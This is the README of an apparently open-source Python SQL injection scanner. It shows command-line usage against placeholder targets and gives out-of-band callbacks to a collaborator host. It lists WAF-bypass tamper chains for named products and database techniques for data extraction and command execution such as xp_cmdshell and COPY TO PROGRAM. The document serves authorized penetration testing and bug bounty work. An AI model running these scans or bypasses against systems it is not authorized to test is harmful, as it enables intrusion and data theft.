SQLi Fingerprinter

The deepest SQL injection scanner you'll ever use. Finds bugs in places sqlmap misses.

Five detection techniques. Fourteen tamper modules. WAF fingerprinting for 15+ products. Automatic DB fingerprinting and data extraction. Zero dependencies — pure Python.

---

What Makes This Different

Feature	sqlmap	This tool
Error-based detection	✅	✅ + extracts data directly from errors
Boolean blind	✅	✅ + binary search extraction
Time-based	✅	✅ + adaptive baseline (not hardcoded 5s)
Union-based	✅	✅ + auto column count + reflection finder
OOB (DNS/HTTP)	✅	✅ + per-DB payloads (xp_dirtree, UTL_HTTP...)
WAF detection	✅	✅ + 15 WAFs fingerprinted passively + actively
WAF-aware tamper	✅	✅ + chains selected per detected WAF
Header injection	✅	✅ + 18 injectable headers
JSON body params	✅	✅ + nested JSON flattening
GraphQL detection	❌	✅
Cookie value injection	partial	✅
Path segment injection	❌	✅ (REST IDs)
DB error pattern DB	~8	8 DBs, 80+ patterns
Zero dependencies	❌	✅

---

Installation

git clone https://github.com/zeeshanafridai/sqli-fingerprinter
cd sqli-fingerprinter
python3 sqli_scan.py --help

No pip install. Pure Python 3.6+.

---

Usage

Basic scan (all techniques, all params)

python3 sqli_scan.py -u "https://target.com/api/user?id=1"

Authenticated scan

python3 sqli_scan.py -u "https://target.com/api/user?id=1" -c "session=abc123"

POST body (form-encoded)

python3 sqli_scan.py -u "https://target.com/login" -m POST -d "username=admin&password=test"

POST body (JSON)

python3 sqli_scan.py -u "https://target.com/api/search" -m POST \
  -d '{"query":"test","limit":10}' --content-type "application/json"

Target a specific parameter

python3 sqli_scan.py -u "https://target.com/search?q=test&page=1" -p q

Force WAF bypass tamper

python3 sqli_scan.py -u "https://target.com/api/user?id=1" --tamper

Also test headers (X-Forwarded-For, Referer, etc.)

python3 sqli_scan.py -u "https://target.com/api/user?id=1" --check-headers

OOB testing (Burp Collaborator / interactsh)

python3 sqli_scan.py -u "https://target.com/api/user?id=1" \
  --collab "xyz.burpcollaborator.net"

Specific techniques only

python3 sqli_scan.py -u "https://target.com/api?id=1" --technique error --technique union

Time-based with custom delay

python3 sqli_scan.py -u "https://target.com/api?id=1" --technique time --delay 8

Full workflow + report

python3 sqli_scan.py -u "https://target.com/api/user?id=1" \
  -c "session=TOKEN" \
  --check-headers \
  --tamper \
  --collab "xyz.burpcollaborator.net" \
  --report \
  -o results.json

---

Detection Techniques

1. Error-Based

Triggers DB-specific error messages. Extracts data directly from error output.

• EXTRACTVALUE, UPDATEXML, EXP() overflow (MySQL)
• CAST(version() AS INTEGER) (PostgreSQL)
• CONVERT(int, ...) (MSSQL)
• ORA-XXXXX patterns (Oracle)

2. Union-Based

Reads data directly in HTTP response.

• Auto-detects column count via ORDER BY / NULL method
• Finds reflected column automatically using marker injection
• Extracts: version, database, user, tables, columns, privileges

3. Boolean Blind

True/false condition differences in response body.

• 15 payload pairs tested (quotes, integers, parentheses, CASE, LIKE...)
• Binary search extraction: ~7 requests per character
• Similarity scoring + size diff + DOM tag counting

4. Time-Based Blind

Deliberate delays confirm injection when no visible difference exists.

• Adaptive baseline (3 samples, uses 3x mean as threshold)
• False-positive elimination via retry confirmation
• Conditional extraction: IF(condition, SLEEP(N), 0)

5. Out-of-Band (OOB)

DB-initiated DNS/HTTP callbacks for fully blind scenarios.

• MySQL: LOAD_FILE UNC, sys_eval
• MSSQL: xp_dirtree, xp_fileexist, xp_cmdshell
• Oracle: UTL_HTTP, DBMS_LDAP.INIT, UTL_TCP
• PostgreSQL: dblink, COPY TO PROGRAM

---

WAF Bypass Tampers

Tampers are auto-selected based on detected WAF:

WAF	Auto Tamper Chain
Cloudflare	space2comment + case_randomize + inline_comment
Akamai	versioned_comment + hex_encode + space2whitespace
AWS WAF	space2comment + url_encode + case_randomize
ModSecurity	space2comment + inline_comment + comment_inject
Imperva	space2plus + versioned_comment + hex_encode
F5 BigIP	space2whitespace + case_randomize + null_byte

All 14 tampers: space2comment, space2dash, space2plus, space2whitespace, case_randomize, comment_inject, versioned_comment, url_encode, double_url_encode, hex_encode, between_replace, null_byte, concat_split, inline_comment

---

Bug Bounty Flow

1. Find endpoint with parameters
2. Run basic scan:
   python3 sqli_scan.py -u TARGET -c SESSION_COOKIE

3. If WAF present, enable tamper:
   python3 sqli_scan.py -u TARGET -c SESSION_COOKIE --tamper

4. For blind targets, add OOB:
   python3 sqli_scan.py -u TARGET -c SESSION_COOKIE --collab BURP_COLLAB

5. Generate report:
   --report

6. Submit to H1/Bugcrowd with extracted data as proof

---

License

MIT — For authorized penetration testing and bug bounty programs only.